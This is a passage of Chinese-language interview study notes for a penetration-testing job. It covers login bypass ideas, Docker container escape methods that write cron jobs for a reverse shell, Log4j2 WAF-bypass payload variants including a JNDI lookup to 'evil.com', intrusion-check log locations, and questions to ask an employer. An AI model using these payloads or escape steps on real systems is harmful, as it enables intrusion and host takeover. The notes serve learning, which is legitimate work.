(1)弱口令/爆破,验证码可尝试用万能验证码绕过(逻辑漏洞),删除cookie等fuzzing burp suite,在ua头添加Set-Cookie
(2)密码找回,逻辑漏洞能不能拿下管理员账户,以及密码加密后+1,原理是复杂的md5/hash后端解密不出来,开发可能默认用做万能密码
(3)sql注入/万能密码
(4)可能是shiro的框架
(5)查看js,可能在js里面找到一些额外的东西,比如cms指纹以及其他编辑器
23.Docker逃逸
查看是否是docker环境:cat /proc/1/cgroup内是否包含docker字符,.dockerenv文件是否存在
逃逸方法:
(1)Docker Remote API未授权:如果权限控制不当,可通过docker client或者http访问这个API,然后将宿主机的根目录挂在到容器的/mnt目录下,写入计划任务和公私钥,即可免密登录
(2)利用特权模式逃逸:在特权模式下,容器拥有所有权利,比如宿主机的一些内核特性和设备(利用fdisk -l检测或者0000003fffffffff),然后将/dev/vda2磁盘挂载到容器里的某个文件夹里(比如abc),然后再往/abc目录下写入文件(echo即可),如果可以,则可以写入计划任务反弹shell
(3)Docker.sock挂载到了容器里,因为docker.sock挂载到了容器里,在容器里先安装docker,在新容器挂载主机路径,写入计划任务,逃逸
24.Log4j2
漏洞原理:Property Support引用配置中的属性,或传递给底层组件并动态解析,用户可以用自定义的 Lookup 组件来配置自定义的值,Lookup组件里面就有jndi
Log4j2绕过waf:
(1)利用环境变量绕过(env:ENV_NAME,${jnd${sys:SYS_NAME:-i})
(2)大小写,${lower:l}
(3)替换,${::-b} == ${:-b} == a${E:-a}c,利用data,${date:'j'}${date:'n'}
(4)编码,url编码,unicode编码
(5)特殊符号,${date:'j'}${date:'n${jndi:ldap://127.0.0.1#evil.com/z},java.net.URI getHost()方法返回#之前的值作为真正的host
25.后门清理/各类日志
windows系统日志位置:C:\Windows\System32\Winevt 或者命令(eventvwr.msc)打开日志
windows日志注册表:HKEY_LOCAL_MACHINE\system\CurrentControlSet\Services\Eventlog
linux日志位置: /var/log
windows常见入侵排查:1.注册表 2.用户 3.计划任务 4.sc自启动 5.启动项文件夹
linux常见入侵排查:1.账号(有无新增可以账号,普通账号有无sudo权限)2.history命令或者.bash_history文件 3.开机启动项(/etc/rc) 4.计划任务(crontab&&spool)
26.我想问的
(1)团队目前情况,团队有多少人,各个师傅的技术栈是怎么样的,后续团队会有新的发展方向么,团队成立时间多久了,团队业务应收是公司排名靠前的么,安服的业务主要偏向web还是内网,出差的频率是多少(一年大概几次,一次多长,大概是分布哪些地方,业务的对象偏向金融还是政企),团队工作强度怎么样
(2)普调多久一次(普调涨薪的范围是多少),年终奖是多少薪/好久发,晋升是怎么样的,试用期好久(薪资打折么),工资几号发,有其他补助么(餐补/交通补),出差补助是怎么样的,入职配电脑么,公司内部有wifi么
(3)五险一金基数怎么样,年假有多少,周末双休么,工作强度怎么样,上班时间怎么样(打卡么),有食堂么,具体福利还有什么(比如生日福利,中秋节这些),企业文化(员工培训),加班怎么算(普通工作日加班,节假日加班,出差甲方周末要求加班)